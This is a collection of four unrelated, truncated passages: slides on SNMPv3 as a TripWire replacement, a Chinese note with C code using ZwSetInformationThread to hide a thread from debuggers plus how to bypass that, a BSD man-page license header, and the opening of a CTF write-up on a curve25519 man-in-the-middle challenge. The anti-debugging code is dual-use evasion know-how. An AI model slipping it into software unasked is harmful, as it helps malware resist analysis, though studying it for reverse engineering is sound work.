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Slide 1 Replacing TripWire with SNMPv3 Matthew G. Marsh Chief Scientist of the NEbraskaCERT Slide 2 Scope Quick Overview & History of SNMP Definitions & Terminology SNMPv3 will be implicit in the rest of the sections RFC(s) that define v3 Highlights - why use v3 Authentication Privacy Security Scope General Usage Net-SNMP PakDefConX MIB PakDefConX Source Code Usage Example Discussion Slide 3 History SNMP is defined by four features: A data definition language Management Information definition A protocol definition Security and Administration definition Standard 15 defines the protocol (SNMP) Standard 16 defines the structure of management information Standard 17 defines MIB-II All SNMP information and organization is specified using Abstract Syntax Notation One (ASN.1) (ISO Standard) SNMPv1 came into being and use in the late 1980's. By 1990 most equipment capable of speaking TCP/IP used SNMPv1 for management capabilities. Some vendors, most notably WellFleet, used SNMP as the basis for all interaction with the equipment. SNMPv1 was defined by three modes of operation Read - a mode of obtaining information from a device based on a query/response Write - a mode of setting parameters within a device based on query/response Trap - a mode for a device to send information about itself without a query These first two modes used basic single passwords as the authentication and security measures SNMPv1 was designed for and used UDP as the main transport mode Contrary to popular belief v1 did provide a framework for authentication, privacy, and authorization; however there were no actual protocol structures, designs, or implementations done within this framework. SNMPv2 came in several incarnations as it was developed. One of the primary original design goals for v2 was to structure and design authentication, privacy, and authorization. However this was not realized although much of the structure formality was completed. SNMPv2 added better data types and efficiency along wi


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# ZwSetInformationThread ## 关于ZwSetInformationThread ZwSetInformationThread 等同于 NtSetInformationThread通过为线程设置 ThreadHideFromDebugger可以禁止线程产生调试事件代码如下 ```c #include <Windows.h> #include <stdio.h> typedef DWORD(WINAPI* ZW_SET_INFORMATION_THREAD) (HANDLE, DWORD, PVOID, ULONG); #define ThreadHideFromDebugger 0x11 VOID DisableDebugEvent(VOID) { HINSTANCE hModule; ZW_SET_INFORMATION_THREAD ZwSetInformationThread; hModule = GetModuleHandleA("Ntdll"); ZwSetInformationThread = (ZW_SET_INFORMATION_THREAD)GetProcAddress(hModule, "ZwSetInformationThread"); ZwSetInformationThread(GetCurrentThread(), ThreadHideFromDebugger, 0, 0); } int main() { printf("Begin\n"); DisableDebugEvent(); printf("End\n"); return 0; } ``` 关键代码为`ZwSetInformationThread(GetCurrentThread(), ThreadHideFromDebugger, 0, 0);`如果处于调试状态执行完该行代码程序就会退出 ## 如何绕过 注意到该处 ZwSetInformationThread 函数的第 2 个参数为 ThreadHideFromDebugger其值为 0x11调试执行到该函数时若发现第 2 个参数值为 0x11跳过或者将 0x11 修改为其他值即可


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.\" Copyright (c) 1980, 1991 Regents of the University of California. .\" All rights reserved. .\" .\" This code is derived from software contributed to Berkeley by .\" the American National Standards Committee X3, on Information .\" Processing Systems. .\" .\" Redistribution and use in source and binary forms, with or without .\" modification, are permitted provided that the following conditions .\" are met: .\" 1. Redistributions of source code must retain the above copyright .\" notice, this list of conditions and the following disclaimer. .\" 2. Redistributions in binary form must reproduce the above copyright .\" notice, this list of conditions and the following disclaimer in the .\" documentation and/or other materials provided with the distribution. .\" 3. All advertising materials mentioning features or use of this software .\" must display the following acknowledgement: .\" This product includes software developed by the University of .\" California, Berkeley and its contributors. .\" 4. Neither the name of the University nor the names of its contributors .\" may be used to endorse or promote products derived from this software .\" without specific prior written permission. .\" .\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND .\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE .\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE .\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE .\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL .\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS .\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) .\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT .\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY .\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF .\" SUCH DAMAGE. .\" .\" @(#


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# MITM (crypto, 243p, 34 sovled) In the task we get [server code](challenge.py) and endpoint to connect to. The task is a classic Man-In-The-Middle setup between client and server, which are connecting via ECDH protocol using curve25519. Both parties have pre-shared private secret value, which they use to authenticate. We can connect to either of them and try to initiate communication, but since we don't know the secret, we will fail authentication. The most important part of the code is the handshake: ```python def Handshake(password, reader, writer): myPrivateKey = Private() myNonce = os.urandom(32) WriteBin(writer, myPrivateKey.get_public().serialize()) WriteBin(writer, myNonce) theirPublicKey = ReadBin(reader) theirNonce = ReadBin(reader) if myNonce == theirNonce: return None if theirPublicKey in (b'\x00'*32, b'\x01' + (b'\x00' * 31)): return None theirPublicKey = Public(theirPublicKey) sharedKey = myPrivateKey.get_shared_key(theirPublicKey) myProof = ComputeProof(sharedKey, theirNonce + password) WriteBin(writer, myProof) theirProof = ReadBin(reader) if not VerifyProof(sharedKey, myNonce + password, theirProof): return None return sharedKey ``` Both parties send and receive: - public key - random 32 bytes nonce - hmac proof calculated from shared key, pre-shared secret and nonce We can negotiate a shared key with the other party but we can't calculate the proof since we lack the pre-shared secret. During the handshake client and server first send their nonce, and then read nonce from the other side, so we could send the same nonce they provided, and therefore our proof would be identical to their proof, so we could re-send this one too. But the code prevents this: ```python if myNonce == theirNonce: return None ``` We could forward the parameters between client and server, and it would pass authentication, but we won't know the shared secret value, so we won't be able to encrypt/decrypt communication. If we could negotiate a shared secret with both sides, but s